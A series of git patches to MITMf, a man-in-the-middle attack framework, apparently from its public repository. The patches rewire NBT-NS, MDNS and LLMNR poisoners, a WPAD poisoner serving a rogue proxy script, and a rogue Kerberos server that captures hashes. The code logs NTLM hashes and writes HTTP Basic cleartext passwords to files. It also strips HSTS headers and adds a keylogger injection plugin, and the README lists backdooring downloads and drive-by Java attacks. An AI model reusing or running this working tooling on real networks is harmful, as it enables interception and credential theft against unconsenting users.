mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass @@ -167,42 +177,32 @@ class NB(BaseRequestHandler): else: if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect) and AnalyzeMode == False: + if Validate_NBT_NS(data,args.wredir) and args.analyze == False: if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - #responder_logger.info(Message) - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): + mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - responder_logger.info('[+] OsVersion is:%s'%(Finger[0])) - responder_logger.info('[+] ClientVersion is :%s'%(Finger[1])) + mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) except Exception: - responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - #responder_logger.info(Message) - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): + mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - responder_logger.info('[+] OsVersion is:%s'%(Finger[0])) - responder_logger.info('[+] ClientVersion is :%s'%(Finger[1])) + mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) except Exception: - responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass \ No newline at end of file diff --git a/plugins/Responder.py b/plugins/Responder.py index 676553f..b83891a 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -24,9 +24,12 @@ import threading from plugins.plugin import Plugin from twisted.internet import reactor -from core.responder.wpad.WPADPoisoner import WPADPoisoner -from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner from core.utils import SystemConfig +from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner +from core.responder.wpad.WPADPoisoner import WPADPoisoner +from core.responder.mdns.MDNSPoisoner import MDNSPoisoner +from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner +from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter class Responder(Plugin): name = "Responder" @@ -48,6 +51,9 @@ class Responder(Plugin): sys.exit('[-] Error parsing config for Responder: ' + str(e)) LLMNRPoisoner().start(options, self.ourip) + MDNSPoisoner().start(options, self.ourip) + NBTNSPoisoner().start(options, self.ourip) + LANFingerprinter().start(options) if options.wpad: WPADPoisoner().start() From 2c6e9a31b7a8b2feafc8f05be9c2ac1e1cb264a0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Apr 2015 13:08:56 +0200 Subject: [PATCH 161/323] modded readme --- README.md | 36 ++++++++++++++++-------------------- 1 file changed, 16 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index be59559..126f226 100644 --- a/README.md +++ b/README.md @@ -9,26 +9,6 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox **Before submitting issues please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** -(Another) Dependency change! -============================ -As of v0.9.6, the fork of the ```python-netfilterqueue``` library is no longer required. - -How to install on Kali -====================== - -```apt-get install mitmf``` - -**Currently Kali has a very old version of MITMf in it's repos so if you find bugs its normal, don't open an issue! Read the [Installation](#installation) section to get the latest version** - -Installation -============ -If MITMf is not in your distros repo or you just want the latest version: -- clone this repository -- run the ```setup.sh``` script -- run the command ```pip install -r requirements.txt``` to install all python dependencies - -On Kali Linux, if you get an error while installing the pypcap package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. - Availible plugins ================= - Responder - LLMNR, NBT-NS and MDNS poisoner @@ -76,6 +56,22 @@ Changelog - Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) +Installation +============ +If MITMf is not in your distros repo or you just want the latest version: +- clone this repository +- run the ```setup.sh``` script +- run the command ```pip install -r requirements.txt``` to install all python dependencies + +On Kali Linux, if you get an error while installing the pypcap package or when starting MITMf you see: ```ImportError: no module named pcap``` run ```apt-get install python-pypcap``` to fix it. + +How to install on Kali +====================== + +```apt-get install mitmf``` + +**Currently Kali has a very old version of MITMf in it's repos so if you find bugs its normal, don't open an issue! Read the [Installation](#installation) section to get the latest version** + Submitting Issues ================= If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com From 6b421d1cac74cf06eff7577ad37d8cb70d7fcdef Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Apr 2015 13:10:36 +0200 Subject: [PATCH 162/323] typo --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 126f226..73ca447 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ Availible plugins - SessionHijacking - Performs session hijacking attacks, and stores cookies in a firefox profile - BrowserProfiler - Attempts to enumerate all browser plugins of connected clients - CacheKill - Kills page caching by modifying headers -- FilePwn - Backdoor executables being sent over http using bdfactory +- FilePwn - Backdoor executables being sent over http using Backdoor Factory and BDFProxy - Inject - Inject arbitrary content into HTML content - JavaPwn - Performs drive-by attacks on clients with out-of-date java browser plugins - jskeylogger - Injects a javascript keylogger into clients webpages From aa4e022ab0ec9a122dfc505c2e2388cda26963dd Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 30 Apr 2015 00:10:55 +0200 Subject: [PATCH 163/323] Kerberos sever back online, squashed some bugs --- .../fingerprinter/LANFingerprinter.py | 16 +++- .../kerberos/KERBServer.py | 90 +++++++++---------- .../kerberos/__init__.py | 0 core/responder/nbtns/NBTNSPoisoner.py | 4 +- core/responder/wpad/WPADPoisoner.py | 48 +++++----- mitmf.py | 1 + plugins/Responder.py | 11 ++- 7 files changed, 93 insertions(+), 77 deletions(-) rename core/{protocols => responder}/kerberos/KERBServer.py (75%) rename core/{protocols => responder}/kerberos/__init__.py (100%) diff --git a/core/responder/fingerprinter/LANFingerprinter.py b/core/responder/fingerprinter/LANFingerprinter.py index a1186f8..aa0c9e1 100644 --- a/core/responder/fingerprinter/LANFingerprinter.py +++ b/core/responder/fingerprinter/LANFingerprinter.py @@ -3,9 +3,9 @@ import socket import threading import struct import logging +import string from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler -from core.configwatcher import ConfigWatcher from core.responder.fingerprinter.RAPLANMANPackets import * mitmf_logger = logging.getLogger("mitmf") @@ -60,6 +60,20 @@ def NBT_NS_Role(data): else: return "Service not known." +def Decode_Name(nbname): + #From http://code.google.com/p/dpkt/ with author's permission. + try: + if len(nbname) != 32: + return nbname + l = [] + for i in range(0, 32, 2): + l.append(chr(((ord(nbname[i]) - 0x41) << 4) | + ((ord(nbname[i+1]) - 0x41) & 0xf))) + return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + except Exception, e: + mitmf_logger.debug("[LANFingerprinter] Error parsing NetBIOS name: {}".format(e)) + return "Illegal NetBIOS name" + def WorkstationFingerPrint(data): Role = { "\x04\x00" :"Windows 95", diff --git a/core/protocols/kerberos/KERBServer.py b/core/responder/kerberos/KERBServer.py similarity index 75% rename from core/protocols/kerberos/KERBServer.py rename to core/responder/kerberos/KERBServer.py index 40b509f..7b6e6cf 100644 --- a/core/protocols/kerberos/KERBServer.py +++ b/core/responder/kerberos/KERBServer.py @@ -1,35 +1,37 @@ -################################################################################## -#Kerberos Server stuff starts here -################################################################################## + +import socket +import threading +import struct +import logging + +from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler + +mitmf_logger = logging.getLogger("mitmf") class KERBServer(): - def serve_thread_udp(host, port, handler): + def serve_thread_udp(self, host, port, handler): try: server = ThreadingUDPServer((host, port), handler) server.serve_forever() except Exception, e: - print "Error starting UDP server on port %s: %s:" % (str(port),str(e)) + mitmf_logger.debug("[KERBServer] Error starting UDP server on port 88: {}:".format(e)) - def serve_thread_tcp(host, port, handler): + def serve_thread_tcp(self, host, port, handler): try: server = ThreadingTCPServer((host, port), handler) server.serve_forever() except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) + mitmf_logger.debug("[KERBServer] Error starting TCP server on port 88: {}:".format(e)) #Function name self-explanatory - def start(Krb_On_Off): - if Krb_On_Off == "ON": - t1 = threading.Thread(name="KerbUDP", target=serve_thread_udp, args=("0.0.0.0", 88,KerbUDP)) - t2 = threading.Thread(name="KerbTCP", target=serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP)) - for t in [t1,t2]: - t.setDaemon(True) - t.start() - - return t1, t2 - if Krb_On_Off == "OFF": - return False + def start(self): + mitmf_logger.debug("[KERBServer] online") + t1 = threading.Thread(name="KERBServerUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP)) + t2 = threading.Thread(name="KERBServerTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP)) + for t in [t1,t2]: + t.setDaemon(True) + t.start() class ThreadingUDPServer(ThreadingMixIn, UDPServer): @@ -45,6 +47,28 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): def server_bind(self): TCPServer.server_bind(self) +class KerbTCP(BaseRequestHandler): + + def handle(self): + try: + data = self.request.recv(1024) + KerbHash = ParseMSKerbv5TCP(data) + if KerbHash: + mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash)) + except Exception: + raise + +class KerbUDP(BaseRequestHandler): + + def handle(self): + try: + data, soc = self.request + KerbHash = ParseMSKerbv5UDP(data) + if KerbHash: + mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash)) + except Exception: + raise + def ParseMSKerbv5TCP(Data): MsgType = Data[21:22] EncType = Data[43:44] @@ -131,33 +155,3 @@ def ParseMSKerbv5UDP(Data): return BuildHash else: return False - -class KerbTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - KerbHash = ParseMSKerbv5TCP(data) - if KerbHash: - Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt" - WriteData(Outfile,KerbHash, KerbHash) - responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) - except Exception: - raise - -class KerbUDP(BaseRequestHandler): - - def handle(self): - try: - data, soc = self.request - KerbHash = ParseMSKerbv5UDP(data) - if KerbHash: - Outfile = "./logs/responder/MSKerberos-Client-"+self.client_address[0]+".txt" - WriteData(Outfile,KerbHash, KerbHash) - responder_logger.info('[+]MSKerbv5 complete hash is :%s'%(KerbHash)) - except Exception: - raise - -################################################################################## -#Kerberos Server stuff ends here -################################################################################## \ No newline at end of file diff --git a/core/protocols/kerberos/__init__.py b/core/responder/kerberos/__init__.py similarity index 100% rename from core/protocols/kerberos/__init__.py rename to core/responder/kerberos/__init__.py diff --git a/core/responder/nbtns/NBTNSPoisoner.py b/core/responder/nbtns/NBTNSPoisoner.py index f67160f..4563c52 100644 --- a/core/responder/nbtns/NBTNSPoisoner.py +++ b/core/responder/nbtns/NBTNSPoisoner.py @@ -4,6 +4,7 @@ import threading import socket import struct import logging +import string from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler from core.configwatcher import ConfigWatcher @@ -105,7 +106,8 @@ def Decode_Name(nbname): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) - except: + except Exception, e: + mitmf_logger.debug("[NBTNSPoisoner] Error parsing NetBIOS name: {}".format(e)) return "Illegal NetBIOS name" # NBT_NS Server class. diff --git a/core/responder/wpad/WPADPoisoner.py b/core/responder/wpad/WPADPoisoner.py index a1bd1ef..7aa23f6 100644 --- a/core/responder/wpad/WPADPoisoner.py +++ b/core/responder/wpad/WPADPoisoner.py @@ -2,15 +2,17 @@ import socket import threading import logging -from HTTPPackets import * from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from core.configwatcher import ConfigWatcher +from HTTPPackets import * mitmf_logger = logging.getLogger("mitmf") class WPADPoisoner(): - def start(on_off): + def start(self): try: + mitmf_logger.debug("[WPADPoisoner] online") server = ThreadingTCPServer(("0.0.0.0", 80), HTTP) t = threading.Thread(name="HTTP", target=server.serve_forever) t.setDaemon(True) @@ -25,6 +27,27 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): def server_bind(self): TCPServer.server_bind(self) +#HTTP Server Class +class HTTP(BaseRequestHandler): + + def handle(self): + try: + while True: + self.request.settimeout(1) + data = self.request.recv(8092) + buff = WpadCustom(data,self.client_address[0]) + if buff and WpadForcedAuth(Force_WPAD_Auth) == False: + Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) + if Verbose: + print Message + mitmf_logger.info(Message) + self.request.send(buff) + else: + buffer0 = PacketSequence(data,self.client_address[0]) + self.request.send(buffer0) + except Exception: + pass#No need to be verbose.. + #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): LMhashLen = struct.unpack(' Date: Mon, 4 May 2015 23:13:21 +0200 Subject: [PATCH 164/323] WPAD Poisoner back online, removed options in config file and rellative code for choosing which DNS server to use. (there really was not point in keeping it) the --basic and --force options and the EXE serving in the Responder plugin have been removed, until I can find a better way of implementing them. Modified and re-added the JS-keylogger and SMBauth plugins --- config/mitmf.conf | 19 +--- core/configwatcher.py | 3 +- core/protocols/smb/SMBserver.py | 51 ++++++++- core/responder/wpad/WPADPoisoner.py | 119 +++----------------- core/sergioproxy/ProxyPlugins.py | 3 + core/sslstrip/ClientRequest.py | 21 ++-- core/sslstrip/ServerConnection.py | 7 +- core/sslstrip/URLMonitor.py | 4 - mitmf.py | 12 +- plugins/Inject.py | 8 +- plugins/JsKeylogger.py | 167 ++++++++++++++++++++++++++++ plugins/Responder.py | 21 ++-- plugins/SMBAuth.py | 42 +++++++ 13 files changed, 312 insertions(+), 165 deletions(-) create mode 100644 plugins/JsKeylogger.py create mode 100644 plugins/SMBAuth.py diff --git a/config/mitmf.conf b/config/mitmf.conf index 614ac72..04bd575 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -28,7 +28,6 @@ #Here you can configure MITMf's internal DNS server # - resolver = dnschef #Can be set to 'twisted' or 'dnschef' ('dnschef' is highly reccomended) tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) port = 53 #Port to listen on ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!) @@ -119,22 +118,8 @@ #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS DontRespondToName = - [[HTTP Server]] - - #Set this to On if you want to always serve a specific file to the victim. - Serve-Always = Off - - #Set this to On if you want to serve an executable file each time a .exe is detected in an URL. - Serve-Exe = Off - - #Uncomment and specify a custom file to serve, the file must exist. - Filename = config/responder/Denied.html - - #Specify a custom executable file to serve, the file must exist. - ExecFilename = config/responder/FixInternet.exe - - #Set your custom PAC script - WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' + #Set your custom PAC script + WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' [[HTTPS Server]] diff --git a/core/configwatcher.py b/core/configwatcher.py index e6eaaaf..c583ff4 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -44,5 +44,6 @@ class ConfigWatcher(FileSystemEventHandler): def reloadConfig(self): try: self.config = ConfigObj("./config/mitmf.conf") - except Exception, e: + except Exception as e: mitmf_logger.warning("Error reloading config file: {}".format(e)) + pass diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py index 7922382..57c5cb3 100644 --- a/core/protocols/smb/SMBserver.py +++ b/core/protocols/smb/SMBserver.py @@ -1,12 +1,12 @@ import logging -import threading import sys +import threading from impacket import smbserver, LOG LOG.setLevel(logging.INFO) LOG.propagate = False -#logging.getLogger('smbserver').setLevel(logging.INFO) -#logging.getLogger('impacket').setLevel(logging.INFO) +logging.getLogger('smbserver').setLevel(logging.INFO) +logging.getLogger('impacket').setLevel(logging.INFO) formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") fileHandler = logging.FileHandler("./logs/mitmf.log") @@ -25,4 +25,47 @@ class SMBserver: def start(self): t = threading.Thread(name='SMBserver', target=self.server.start) t.setDaemon(True) - t.start() \ No newline at end of file + t.start() + +""" +class SMBserver(Thread): + def __init__(self): + Thread.__init__(self) + + def run(self): + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global','log_file', 'None') + smbConfig.set('global','credentials_file','') + + # Let's add a dummy share + #smbConfig.add_section(DUMMY_SHARE) + #smbConfig.set(DUMMY_SHARE,'comment','') + #smbConfig.set(DUMMY_SHARE,'read only','no') + #smbConfig.set(DUMMY_SHARE,'share type','0') + #smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path') + + self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) + + self.smb.processConfigFile() + try: + self.smb.serve_forever() + except: + pass + + def stop(self): + self.smb.socket.close() + self.smb.server_close() + self._Thread__stop() +""" \ No newline at end of file diff --git a/core/responder/wpad/WPADPoisoner.py b/core/responder/wpad/WPADPoisoner.py index 7aa23f6..c978338 100644 --- a/core/responder/wpad/WPADPoisoner.py +++ b/core/responder/wpad/WPADPoisoner.py @@ -1,16 +1,23 @@ import socket import threading import logging +import re from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler from core.configwatcher import ConfigWatcher +from core.responder.common import * from HTTPPackets import * mitmf_logger = logging.getLogger("mitmf") class WPADPoisoner(): - def start(self): + def start(self, options): + + global args; args = options + args.forceWpadAuth = False + args.basic = False + try: mitmf_logger.debug("[WPADPoisoner] online") server = ThreadingTCPServer(("0.0.0.0", 80), HTTP) @@ -36,17 +43,14 @@ class HTTP(BaseRequestHandler): self.request.settimeout(1) data = self.request.recv(8092) buff = WpadCustom(data,self.client_address[0]) - if buff and WpadForcedAuth(Force_WPAD_Auth) == False: - Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) - if Verbose: - print Message - mitmf_logger.info(Message) + if buff and args.forceWpadAuth is False: + mitmf_logger.info("[WPADPoisoner] WPAD (no auth) file sent to: {}".format(self.client_address[0])) self.request.send(buff) else: buffer0 = PacketSequence(data,self.client_address[0]) self.request.send(buffer0) - except Exception: - pass#No need to be verbose.. + except Exception as e: + pass #Parse NTLMv1/v2 hash. def ParseHTTPHash(data,client): @@ -92,18 +96,8 @@ def ParseHTTPHash(data,client): mitmf_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName)) mitmf_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash)) -def GrabCookie(data,host): - Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data) - if Cookie: - CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0)) - mitmf_logger.info(CookieStr) - return Cookie.group(0) - else: - NoCookies = "No cookies were sent with this request" - mitmf_logger.info(NoCookies) - return NoCookies - def WpadCustom(data,client): + WPAD_Script = ConfigWatcher.getInstance().getConfig()["Responder"]['WPADScript'] Wpad = re.search('(/wpad.dat|/*\.pac)', data) if Wpad: buffer1 = WPADScript(Payload=WPAD_Script) @@ -112,12 +106,6 @@ def WpadCustom(data,client): else: return False -def WpadForcedAuth(Force_WPAD_Auth): - if Force_WPAD_Auth == True: - return True - if Force_WPAD_Auth == False: - return False - # Function used to check if we answer with a Basic or NTLM auth. def Basic_Ntlm(Basic): if Basic == True: @@ -125,77 +113,14 @@ def Basic_Ntlm(Basic): else: return IIS_Auth_401_Ans() -def ServeEXE(data,client, Filename): - Message = "[+]Sent %s file sent to: %s."%(Filename,client) - mitmf_logger.info(Message) - with open (Filename, "rb") as bk: - data = bk.read() - bk.close() - return data - -def ServeEXEOrNot(on_off): - if Exe_On_Off == "ON": - return True - if Exe_On_Off == "OFF": - return False - -def ServeEXECAlwaysOrNot(on_off): - if Exec_Mode_On_Off == "ON": - return True - if Exec_Mode_On_Off == "OFF": - return False - -def IsExecutable(Filename): - exe = re.findall('.exe',Filename) - if exe: - return True - else: - return False - -def GrabURL(data, host): - GET = re.findall('(?<=GET )[^HTTP]*', data) - POST = re.findall('(?<=POST )[^HTTP]*', data) - POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) - if GET: - HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET)) - mitmf_logger.info(HostStr) - #print HostStr - - if POST: - Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST)) - mitmf_logger.info(Host3Str) - #print Host3Str - if len(''.join(POSTDATA)) >2: - PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) - #print PostData - mitmf_logger.info(PostData) - #Handle HTTP packet sequence. def PacketSequence(data,client): Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data) BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) - if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): - File = config.get('HTTP Server', 'ExecFilename') - buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) - buffer1.calculate() - return str(buffer1) - - if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): - if IsExecutable(FILENAME): - buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) - buffer1.calculate() - return str(buffer1) - else: - buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) - buffer1.calculate() - return str(buffer1) - if Ntlm: packetNtlm = b64decode(''.join(Ntlm))[8:9] if packetNtlm == "\x01": - GrabURL(data,client) - GrabCookie(data,client) r = NTLM_Challenge(ServerChallenge=Challenge) r.calculate() t = IIS_NTLM_Challenge_Ans() @@ -205,11 +130,8 @@ def PacketSequence(data,client): if packetNtlm == "\x03": NTLM_Auth= b64decode(''.join(Ntlm)) ParseHTTPHash(NTLM_Auth,client) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - mitmf_logger.info(Message) + if args.forceWpadAuth and WpadCustom(data,client): + mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client)) buffer1 = WpadCustom(data,client) return buffer1 else: @@ -218,16 +140,11 @@ def PacketSequence(data,client): return str(buffer1) if BasicAuth: - GrabCookie(data,client) - GrabURL(data,client) outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt" WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) mitmf_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - mitmf_logger.info(Message) + if args.forceWpadAuth and WpadCustom(data,client): + mitmf_logger.info("[WPADPoisoner] WPAD (auth) file sent to: {}".format(client)) buffer1 = WpadCustom(data,client) return buffer1 else: @@ -236,5 +153,5 @@ def PacketSequence(data,client): return str(buffer1) else: - return str(Basic_Ntlm(Basic)) + return str(Basic_Ntlm(args.basic)) \ No newline at end of file diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index dea21f4..c58cc8d 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -17,8 +17,11 @@ # import sys +import logging import inspect +mitmf_logger = logging.getLogger("mitmf") + class ProxyPlugins: ''' This class does some magic so that all we need to do in diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 721438b..df60e20 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -192,21 +192,14 @@ class ClientRequest(Request): else: mitmf_logger.debug("[ClientRequest] Host not cached.") - - if self.urlMonitor.getResolver() == 'dnschef': + self.customResolver.port = self.urlMonitor.getResolverPort() - self.customResolver.port = self.urlMonitor.getResolverPort() - - try: - mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") - address = str(self.customResolver.query(host)[0].address) - return defer.succeed(address) - except Exception: - mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted") - return reactor.resolve(host) - - elif self.urlMonitor.getResolver() == 'twisted': - mitmf_logger.debug("[ClientRequest] Resolving with Twisted") + try: + mitmf_logger.debug("[ClientRequest] Resolving with DNSChef") + address = str(self.customResolver.query(host)[0].address) + return defer.succeed(address) + except Exception: + mitmf_logger.debug("[ClientRequest] Exception occured, falling back to Twisted") return reactor.resolve(host) def process(self): diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 0a64cea..3c53eb6 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -71,7 +71,8 @@ class ServerConnection(HTTPClient): try: user_agent = parse(self.headers['user-agent']) self.clientInfo = "{} [type:{}-{} os:{}] ".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) - except: + except Exception as e: + mitmf_logger.debug("[ServerConnection] Failed to parse client UA: {}".format(e)) self.clientInfo = "{} ".format(self.client.getClientIP()) mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host'])) @@ -135,7 +136,7 @@ class ServerConnection(HTTPClient): self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.client.getClientIP())) + mitmf_logger.info("{} Zapped a strict-trasport-security header".format(self.clientInfo)) elif (key.lower() == 'content-length'): self.contentLength = value @@ -181,7 +182,7 @@ class ServerConnection(HTTPClient): mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) data = self.replaceSecureLinks(data) - res = self.plugins.hook() + res = self.plugins.hook() data = res['data'] if (self.contentLength != None): diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index 9ef7b78..f306db7 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -53,10 +53,6 @@ class URLMonitor: return URLMonitor._instance - #This is here because I'm lazy - def getResolver(self): - return ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['resolver'].lower() - #This is here because I'm lazy def getResolverPort(self): return int(ConfigWatcher.getInstance().getConfig()['MITMf']['DNS']['port']) diff --git a/mitmf.py b/mitmf.py index d4dd7d4..349b76b 100755 --- a/mitmf.py +++ b/mitmf.py @@ -23,7 +23,6 @@ import sys import os import logging import threading -import user_agents from twisted.web import http from twisted.internet import reactor @@ -69,7 +68,7 @@ plugins = [] try: for p in plugin_classes: plugins.append(p()) -except Exception, e: +except Exception as e: print "[-] Failed to load plugin class {}: {}".format(p, e) #Give subgroup to each plugin with options @@ -148,7 +147,7 @@ strippingFactory.protocol = StrippingProxy reactor.listenTCP(args.listen, strippingFactory) for p in load: - + p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.startConfigWatch() @@ -165,12 +164,15 @@ from core.netcreds.NetCreds import NetCreds NetCreds().start(args.interface, myip) print "|_ Net-Creds v{} online".format(netcreds_version) -#Start all servers! +#Start DNSChef from core.dnschef.DNSchef import DNSChef DNSChef.getInstance().start() -print "|_ DNSChef v{} online\n".format(dnschef_version) +print "|_ DNSChef v{} online".format(dnschef_version) +#start the SMB server from core.protocols.smb.SMBserver import SMBserver +from impacket import version +print "|_ SMBserver online (Impacket {})\n".format(version.VER_MINOR) SMBserver().start() #start the reactor diff --git a/plugins/Inject.py b/plugins/Inject.py index a28375b..ccad52d 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -87,14 +87,13 @@ class Inject(CacheKill, Plugin): 